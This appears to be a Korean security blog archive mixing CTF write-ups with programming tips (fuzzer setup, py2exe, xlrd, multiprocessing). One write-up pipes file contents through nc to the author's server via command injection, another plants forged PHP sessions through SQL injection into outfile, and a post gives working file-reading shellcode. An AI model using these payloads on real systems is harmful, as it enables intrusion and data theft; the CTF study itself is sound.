2013. 9. 28. 11:54

[ 파이썬 해킹 프로그래밍] 퍼저 환경 구축하기 pydbg 설치하기 fuzzer enviroment install


파이썬 해킹프로그래밍에 있는 fuzzer 환경을 구축하기 위한 방법이다.

1. python 설치  [ http://python.org ]


2. python 환경변수 등록 

[ 시스템 환경 변수 $PATH 에 C:\python\을 등록  하여 어디에서든 사용 할 수 있도록 한다]


3. paimei 설치 [ python 디버거를 설치]

  

OpenRCE-paimei-d78f574.rar


위파일을 다운로드 받고 dist 폴더로 들어가면 설치 파일이 이 있다. 더블클릭하여 설치한다.

설치하고나면  "C:\Python27\Lib\site-packages\pydbg\" 가 생긴다.


4. pydbg 덮어 씌우기


pydasm.pyd


"C:\Python27\Lib\site-packages\pydbg\"  에 위파일을 덮어 씌운다.

 


5. __init__ 에서 ctype 구조체 임폴트 시키기 

C:\Python27\Lib\ctypes\__init__.py 파일을 열어서 아래 부분을 추가해준다.


 

from _ctypes import RTLD_LOCAL, RTLD_GLOBAL

from _ctypes import ArgumentError


from struct import calcsize as _calcsize

from _ctypes import Structure as _ctypesStructure      #추가부분

class Strucure(_ctypesStructure): pass                   #추가부분



6. 이후 fuzz_hash.py 를 실행시킨다.

  

fuzz_hash.py


위 파일이 들어간 폴더에 퍼징할 샘플 파일들과 hash_DB.txt(emptytext) 를 생성해서 넣어준다. hash_DB.txt 는 크래시난 정보들이 저장되며, 크래시가 터질경우 crash 폴더를 자동으로 생성하여 샘플 파일을 넣는다. 


[ 실행법 ]

python 파일명 -t "타겟 프로그램" -s "샘플 위치"


$python fuzz_hash.py -t "C:\Program Files (x86)\GRETECH\GomPlayer\GOM.exe" -s "C:\k1rha\sample\"






Posted by k1rha
2013. 9. 15. 21:28


[white hacking] 화이트 해킹대회 MMMMYYYYYYYYY PPPPAAAASSSWWWOOORRRDDD!!!!!!(150 points)



Solved by 광운


Node.js 코드가 주어지고 사이트에 접근 할 수 있는 주소가 주어진다.

주소로 들어가보면 간단하게 회원가입을 할 수 있고 패스워드를 찾을 수 있는 페이지 가 존재한다.


패스워드를 찾아주는 곳에 아이디를 넣고 전송을 누르면 [인증 코드]가 메일로 오는 것을 확인 할 수 있었다. 





주어진 Node.js 소스코드를 보니 E-mail이 오는 부분을 확인 할 수 있었는데, mail 이라는 명령어를 exec()를 사용하여 이메일을 보내는 것을 확인 할 수 있었고, 이를 보면 email 안에 특정 명령어를 같이 실행 시켜서 값을 찾아내야 했다.





메일에 어떠한 문자열들이 허가 되는지 부터 살펴보면 아래코드와 같다. 


아래 문자열과 더불어 띄어쓰기도 되지 않았다.


function validateEmail(email) {

        return /^(?:[\w\!\#\ \$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+\.)*[\w\!\#\$\%\&\'\*\+\-\/\=\?\^\`\{\|\}\~]+@(?:(?:(?:[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!\.)){0,61}[a-zA-Z0-9]?\.)+[a-zA-Z0-9](?:[a-zA-Z0-9\-](?!$)){0,61}[a-zA-Z0-9]?)|(?:\[(?:(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\.){3}(?:[01]?\d{1,2}|2[0-4]\d|25[0-5])\]))$/.test(email);

}


대충 사용 할 수 있는 문자열은 아래와 같다.


|,  a-z , 0-9 , $ , & , . , { , } '  정도였다.   


띄어쓰기 문제가 가장 컸는데, 환경변수에 띄어쓰기가 있는 것을 찾았다.


IFS 환경변수 


IFS 변수는 도스에서는 사용하지 않는 변수이다. 이것은 

사용자의 명령행중 공백 구분자를 표시하는 것으로 디폴 

트 값은 ' ' 이다. 즉, IFS 환경변수가 디폴트로 설정되 

어 있는 경우, 다음과 같은 형태로 명령을 내리는 것이 

가능하다. 



[myserver]

 #nc -lvp 8888 


[회원가입->패스워드 찾기] 

  &&ls'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com   //어떠한 파일들이 있는지 검사 


  &&cat$IFS'main.js'|nc$IFS'k1rha.com'$IFS'8888'&&@gmail.com   //main.js를 내서버로 보냄 



[main.js 파일안에 flag가 있다 ] 


if (users[email] == pass) {

if (email == 'admin@beollejavi.kr')

res.end(JSON.stringify({'code': 0, 'id': email, 'msg': 'Contgrats! flag: WHC793b5f3b55d99590fc1a7ebc1654f66b'}));


key file : WHC793b5f3b55d99590fc1a7ebc1654f66b








Posted by k1rha
2013. 9. 15. 20:06

[White Hacking] Serial2 web(150 point) Write-up , 화이트 해킹대회


Solved By 광운(exso)



1. 우선 로그인을 해보면 비밀글을 읽고 싶게 만들어져 있으므로 readme 권한을 얻어냈다.




2. 우선 페이지의 Admin 페이지를 가보면 가벼운 인젝션이 먹히는 것을 확인 할 수있다. 

하지만 얻어낼 것은 아무것도 없었다. 데이터베이스는 다른 데이터베이스와 나눠져 있었다.


union select 가 먹히는 것도 확인 했다.


loadfile 과 outfile 이 먹혀 들어가는 것도 확인 했다. 


아래는 loadfile 로 결과를 union select 로 확인한 화면이다. 


union select ..... into outfile('[파일명]');  을 이용하여 세션을 강제 주입하여 readme 권한으로 세션을 만들어야 한다. 세션을 /var/lib/php5/ 에 강제 주입시키고, 그 세션으로 하이제킹하여 readme 권한을 얻는 방법을 써야 한다. 


세션을 만들기 위해 세션이 어떤식으로 생성되는가를 봐야하는데, 이는 include 취약점을 만들어두어

소스코드를 읽을 수 있게 해 두었다. 


session 이름은 memdata 이고 id,pw,level,을 인자로서 만들어 진다는 것을 알 수 있었다.

서버에 똑같이 코딩하여 세션을 생성 하였다.



[세션을 만들어내는 모습]


[인젝션을 할 시 싱글 쿼터 더블쿼터가 걸리적 거리므로 헥사코드로 전부 치환 시킨다]




인젝션 구문을 통하여 서버에 강제로 readme 계정의 세션을 주입 시킨다.

'union select 0x6D656D646174617C733A38363A22613A343A7B733A333A22696478223B733A313A2231223B733A323A226964223B733A363A22726561646D65223B733A323A227077223B733A343A2261616161223B733A353A226C6576656C223B733A313A2231223B7D223B into outfile '/var/lib/php5/sess_k1rha' #


(여기서 세션 이름은 sess_ 가 반드시 포함되어야 하며 k1rha는 임의의 세션명이다.)


[세션 강제 주입 화면 .강제 주입시는 sess_ 를 빼고 삽입한다]



[세션을 대체하고나면 비밀글이 보인다. 

하지만 답이 있는것이 아니라 디비를 다시 뒤지라고 알려준다.]




이렇게 세션이 삽입 된다는 것을 알았다.


이때 session id 대신 session level 을 출력해 주는 방식을 사용하여 level 부분에 다시 유니온을 사용하여

member테이블에 대한 값을 구해 올 수 있었다.



' union select 'memdata|s:161:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k2rha";s:2:"pw";s:8:"anything";s:5:"level";s:72:"2\' union select group_concat(table_name) from information_schema.tables#";}";' into outfile '/var/lib/php5/sess_customsession1'#


CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_SET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGINES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PROCESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTINES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSION_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_C : Hacking Detected

.

.

.

.

이하 생략

.

.

.




union select 'memdata|s:136:"a:4:{s:3:"idx";s:1:"1";s:2:"id";s:5:"k1rha";s:2:"pw";s:8:"anything";s:5:"level";s:47:"2\' union select k3yk3y from k3y_1s_h3r3.k3yk3y#";}";' into outfile '/var/lib/php5/sess_customsession'#














Posted by k1rha
2013. 9. 11. 00:11

keyword : 윈도우 8 애드훅 , 에드혹 adHoc 내 PC 네트워크 카드 무선 공유기화 시키기



[출처 : ?!! 잊었습니다 ㅠ  ]

윈도우8 애드훅(애드혹, AdHoc) 설정하기


윈도우8에 오면서 네트워크 설정이 간략화되는 바람에 애드혹 기능이 숨겨져버렸습니다.
거기에 부팅때마다 다시 켜줘야 하는 불편함까지 생겼습니다. 
여러모로 윈도우8은 간략화를 많이 해서 불편한점이 많네요. 
간단히 애드혹 기능을 살려보자규요. 
 
1. cmd창에서 netsh wlan show drivers를 쳐서[호스트된 네트워크 지원 를 확인.
아니오 라면 드라이버 업뎃 등을 통해서 해결해야함. 
 
2. netsh wlan set hostednetwork mode=allow ssid=[네트워크 이름] key=[비밀번호]하고 엔터.[ ] 는 똑같이 따라칠 필요가 없습니다.
ex) ssid=myAdHoc key=1234567890 
 
3. net wlan start hostednetwork입력후 엔터 
 
4. AdHoc완성입니다. 
 
5. 제어판-네트워크 및 공유센터 -어댑터 설정 변경 진입. 
 
6. 자신이 쓰고 있는 랜 장치를 찾습니다.인터넷을 유선연결로 쓰고 있다면 [로컬 영역 연결]이며무선인 경우엔 [Wi-Fi]일겁니다.해당 장치의 [속성]창을 띄우고[공유탭에서 [인터넷 연결 공유에서  
 
7. "다른 네트워크 사용자가 이 컴퓨터의....." 체크 
 
8. 홈 네트워킹 연결 에서 선택해야 할 것은 [네트워크 연결]에서 "Microsoft에서 호스트하는..."문구가 붙은 장치 이름입니다.
보통[로컬 영역 연결*12]와 같은 이름을 갖습니다 
 
9. 그리고 확인 해주면 애드혹 설정 끝. 
 
ㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡㅡ 
 
재부팅하면 이 애드혹을 다시 잡아줘야 합니다. 
그럴땐 cmd 창에 netsh wlan start hostednetwork 만 입력해주면 기존의 애드혹 설정이 살아나서 다시 쓸 수 있습니다. 
이걸 배치파일로 만들어서 시작프로그램에 등록해두면 컴퓨터 부팅하고 나서 알아서 애드혹을 잡아줍니다. 
 
메모장을 열고, 
@echo off
netsh wlan start hostednetwork라고 입력 후[파일명].bat으로 저장합니다. 
그리고 그 파일을 시작프로그램에 등록하면 재부팅시 알아서 자동으로 애드혹을 설정해줍니다.


Posted by k1rha
2013. 9. 4. 17:27

키워드 py2exe 로 변환시 인코딩 에러 encoding error 


py2exe로 작성했다 exe를 일본어나 한글을 포함한 폴더로 실행하면 아래와 같은 에러가 나온다. 



UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position 34: ordinal not in range(128)
UnicodeDecodeError: 'utf8' codec can't decode byte 0x83 in position 34: ordinal not in range(128)

다른 블로그를 보면 

sys.setdefaultencoding 을 사용하여 변환을 해주라고 하지만 이 역시도 적용이 잘 되지 않았는데, 

이유인즉 site.py 라는 곳에서 먼저 setdefaultencoding 을 사용하기 때문이다.

이를 해결하기 위해 많은 문서에서 site.py 를 수정해주는 등의 문제 해결 방법을 적어놨는데

필자는 잘 되지 않았고 삽질 끝에 아래와 같이 해결 하였다.

[Main.py]



[setup.py] : py2exe 에 사용됨


간단히 설명하자면 setup.py 에서 include 라는 옵션을 넣어 encodings 에 관한 것을 


사용하지 않겠다고 해주고, sys를 import 하여 setdefaultencoidng 을 선언해 주는것이다.


이방법을 사용하면 이클립스 상에서는 에러가 뜬다.


하지만 py2exe 로 바이너리로 만들면 한글 문제가 잘 해결되며 오류가 없이 잘 실행되는


것을 확인할 수 있다.


ㅇㅇㄴ해 많은 서 site.py 를 수정해주는 등의 문제 해결 방법을 적어놨는데

필자는 잘 되지 않았고 삽질 끝에 아래와 같이 해결 하였다. 


Posted by k1rha
2013. 8. 13. 23:05

[python 2.7] 엑셀 다루기 xlwt xlrd 사용하여 엑셀 (xls, xlsx cvs) 컨트롤 하기


회사 업무중에 엑셀 작업을 받고, 그 엑셀의 데이터를 웹사이트에 입력하여 응답 값을 다시 엑셀에 저장 할 일이 생겼다.

딱 떠오르는 것은 역시 파이썬! 파이썬 답게 이미 패키지가 다 존재하였다.


xlwt (xls wrtie 의 약자) xlrd (xls read 의 약자) 사용법을 명확하게 정리해 놓은 곳이 없어서 한번 정리해 보았다.


import sys, os

import xlwt

import xlrd



class READXLS():

    

    global filePoint

    global sheet1

    

    def __init__(self,file_name):

      

        self.filePoint = xlrd.open_workbook(file_name,formatting_info=True)

     

    

    def select_sheet (self,num):

        self.sheet1 = self.filePoint.sheet_by_index(0)

        #sheet_name = self.filePoint.sheet_by_name('colors')

        

    def select_row (self,num):

         print self.sheet1.row_values(num)

         

    def select_col (self,num):

        print self.sheet1.col_values(num)

        

    def select_map(self,row,col):

        print self.sheet1.cell(rowx=0,colx=0).value

        


    

def main():

    try :

        XLS = READXLS("test.xls")

    

    except :

        print "FILE OPEN ERROR"

        

    XLS.select_sheet(0)

    XLS.select_map(0,0)


    

if __name__ == "__main__":

    main()

    

#    book = xlwt.Workbook()

#    sheet1 = book.add_sheet("sheet1")

#    sheet1.write(0,0,'A1')

#    sheet1.write(0,2,"B1")   

#    book.save('test.csv')



Posted by k1rha
2013. 8. 6. 23:14

분산 처리를 위한 Paraller Python (이하 PP) 설치법 및 사용법


[ PP 다운로드 사이트 http://www.parallelpython.com/content/view/18/32/ ]


[ Master Server ]


root@k1rha:~/PYTHON/Parallel# unzip pp-1.6.4.zip 

root@k1rha:~/PYTHON/Parallel# cd pp-1.6.4.zip

root@k1rha:~/PYTHON/Parallel/pp-1.6.4# python setup.py install


설치를 하고나면 pp 패키지를 자유롭게 import 하여 사용 할 수 있다.



다수의 컴퓨터를 분산처리 하는 구조는 아래와 같다.


PPServer는 이미 Parallel Python 사이트에서 만들어놓은 프로그램을 사용하여 테스트 하였다.

각 Slave 컴퓨터에서는 ppserver를 동작 시킨다. 그리고 MASTER 서버는 자신이 연산할 함수를 각 서버에 분산시킨 뒤 그 결과값을 리턴 받는 식이다.


[ Client A ]

 # ppserver.py


[ Client B ]

 # ppserver.py


[ Client C ]

 # ppserver.py


[ Client D ]

 # ppserver.py


[ Master ]

# [병렬 처리할 프로그램].py

  #ppservers = ()   //같은 네트워크망이 아닐땐 요부분을 

   ppservers = ("[ A HOST IP ]:[PORT]","[ B HOST IP ]: [PORT]", )  //요렇게 고쳐준다..



[ 결과 화면 비교  1. 클러스터가 없을때 ]

 job count | % of all jobs | job time sum | time per job | job server

         9 |        100.00 |      15.5626 |     1.729183 | local

Time elapsed since server creation 8.8939139843

0 active tasks, 2 cores


root@k1rha:~/PYTHON/Parallel/pp-1.6.4/examples# 


[ 결과 화면 비교 2. 클러스터가 local 1개 remote 1개 총 2대일떄 ]

root@k1rha:~/PYTHON/Parallel/pp-1.6.4/examples# python sum_primes.py


Usage: python sum_primes.py [ncpus]

    [ncpus] - the number of workers to run in parallel,

    if omitted it will be set to the number of processors in the system

Starting pp with 2 workers

Sum of primes below 100 is 1060

Sum of primes below 200000 is 1709600813

Sum of primes below 200100 is 1711401118

Sum of primes below 200200 is 1713002400

Sum of primes below 300300 is 3716110510

Sum of primes below 200400 is 1716407615

Sum of primes below 200500 is 1717810714

Sum of primes below 300600 is 3723922172

Sum of primes below 400700 is 6478918307

Job execution statistics:

 job count | % of all jobs | job time sum | time per job | job server

         1 |         11.11 |       4.8824 |     4.882423 | 223.194.105.176:60000

         4 |         44.44 |      11.3776 |     2.844407 | 223.194.105.178:60000

         4 |         44.44 |       8.7561 |     2.189026 | local

Time elapsed since server creation 6.6827340126


[결론] 제공된 예제코드인데 좀 쥐꼬리만큼 빨라지는 기분... 생각만큼 절반으로 줄어들 순 없는것 같다. 


Posted by k1rha
2013. 8. 4. 19:03

멤버십에서 한 PPT가 올라왔는데, python 으로 분산처리를 하는 과정의 PPT였다.

지금까지 다수의 연산처리는 Multi Thread 방식을 사용해서 처리 하였었는데, 이 PPT 에 의하면 오히려 multi-Thread 방식은 속도가 더 느려진다 (Global Interpretor Locking 때문) 


http://docs.python.org/2/library/multiprocessing.html#module-multiprocessing


하여금 Multi-Processing 방식을 추천해주는데 코드는 아래와 같음. 

(사용법이 thread 사용법과 거의 동일함)

(python 2.6 이상부터는 default 모듈임)


from multiprocessing import Process,Queue


def do_work( start, end , result):

        sum =0;

        for i in range(start,end):

                sum += i;

        result.put(sum)

        return



if __name__ == "__main__":

        START, END = 0, 2000000

        result = Queue()

        pr1 = Process(target = do_work, args=(START, END/2 , result ))

        pr2 = Process(target = do_work, args=(END/2, END, result))

        pr1.start()

        pr2.start()

        pr1.join()

        pr2.join()


        result.put('STOP')

        sum = 0;

        while True :

                tmp = result.get()

                if tmp == 'STOP' : break

                else: sum += tmp

        print "RESULT : ", sum



root@k1rha:~/PYTHON/MultiProc# time python multi_proc.py

RESULT :  1999999000000


real 0m0.544s

user 0m0.384s

sys 0m0.176s




Thread 와 비교하면 어떨까?


from threading import Thread


def do_work (start, end ,result):

        sum = 0

        for i in range(start, end):

                sum += i

        result.append(sum)

        return


if __name__ == "__main__":

        START, END = 0, 2000000

        result = list()

        th1 = Thread(target=do_work, args=(START, END/2,result))

        th2 = Thread(target=do_work, args=(END/2,END,result))

        th1.start()

        th2.start()


        th1.join()

        th2.join()


        print "result: ", sum(result)


root@k1rha:~/PYTHON/thread_ex# time python thread_ex.py 

result:  1999999000000


real 0m0.810s

user 0m0.208s

sys 0m0.668s




Posted by k1rha
2013. 7. 29. 23:21

[Vortex] level0 -> level1


[ 링크 : http://www.overthewire.org/wargames/vortex/vortex0.shtml ]



4개의 unsigned integer 숫자들을 Host byte 정렬로 받아서 다 더한 다음 다시 전송하라..

그러면 너는 user와 passwd 를 알것이다... 


코드는 아래와 같이 짰다.





'War_Game > Vortex' 카테고리의 다른 글

[vortex] level3 -> level4  (0) 2013.10.10
[vortex] level2 -> level3  (0) 2012.03.31
[vortex] level1 -> level2  (0) 2012.03.29
Posted by k1rha
2013. 7. 27. 14:04

[ read(open("getkey",0),buff,50)) -> write(stdout,buff); ]


#include<stdio.h>


int main()

{

        asm(

        //open("./getkey",0)*

        "xor %eax, %eax\n"

        "push %eax\n"

        "push $0x79654b65\n"

        "push $0x68742f2e\n"        // [getkey] [NULL]

        "mov %eax, %ecx\n"

        "mov %esp, %ebx\n"

        "movb $5, %al\n"        // open = 5

        "int $0x80\n"


        //read(eax,buff,100);

        "xor %edx,%edx\n"

        "movb $0x50,%dl\n"

        "sub $0x50,%esp\n"

        "movl %esp,%ecx\n"

        "movl %ecx,%edi\n"

        "movl %eax,%ebx\n"

        "xor %eax,%eax\n"

        "movb $0x3,%al\n"

        "int $0x80\n"


        //write(1,buff);

        "movl %edi, %ecx\n"

        "xor %ebx,%ebx\n"

        "xor %eax,%eax\n"

        "movb $0x1, %bl\n"

        "movb $0x4, %al\n"

        "int $0x80\n"

        );

return 0;

}


[ OBJDUMP ] 


 80483df: 31 c0                     xor    %eax,%eax

 80483e1: 50                           push   %eax

 80483e2: 68 65 4b 65 79       push   $0x79654b65

 80483e7: 68 2e 2f 74 68       push   $0x68742f2e

 80483ec: 89 c1                 mov    %eax,%ecx

 80483ee: 89 e3                 mov    %esp,%ebx

 80483f0: b0 05                 mov    $0x5,%al

 80483f2: cd 80                         int    $0x80

 80483f4: 31 d2                        xor    %edx,%edx

 80483f6: b2 50                 mov    $0x50,%dl

 80483f8: 83 ec 50             sub    $0x50,%esp

 80483fb: 89 e1                 mov    %esp,%ecx

 80483fd: 89 cf                         mov    %ecx,%edi

 80483ff: 89 c3                        mov    %eax,%ebx

 8048401: 31 c0                        xor    %eax,%eax

 8048403: b0 03                     mov    $0x3,%al

 8048405: cd 80                     int    $0x80

 8048407: 89 f9                         mov    %edi,%ecx

 8048409: 31 db                         xor    %ebx,%ebx

 804840b: 31 c0                 xor    %eax,%eax

 804840d: b3 01                     mov    $0x1,%bl

 804840f: b0 04                 mov    $0x4,%al

 8048411: cd 80                     int    $0x80




[ 최종 쉘코드 ]


\x31\xc0\x50\x68\x65\x4b\x65\x79\x68\x2e\x2f\x74\x68

\x89\xc1\x89\xe3\xb0\x05\xcd\x80\x31\xd2\xb2\x50\x83

\xec\x50\x89\xe1\x89\xcf\x89\xcf\x89\xc3\x31\xc0\xb0

\x03\xcd\x80\x89\xf9\x31\xdb\x31\xc0\xb3\x01\xb0\x04
\xcd\x80

Posted by k1rha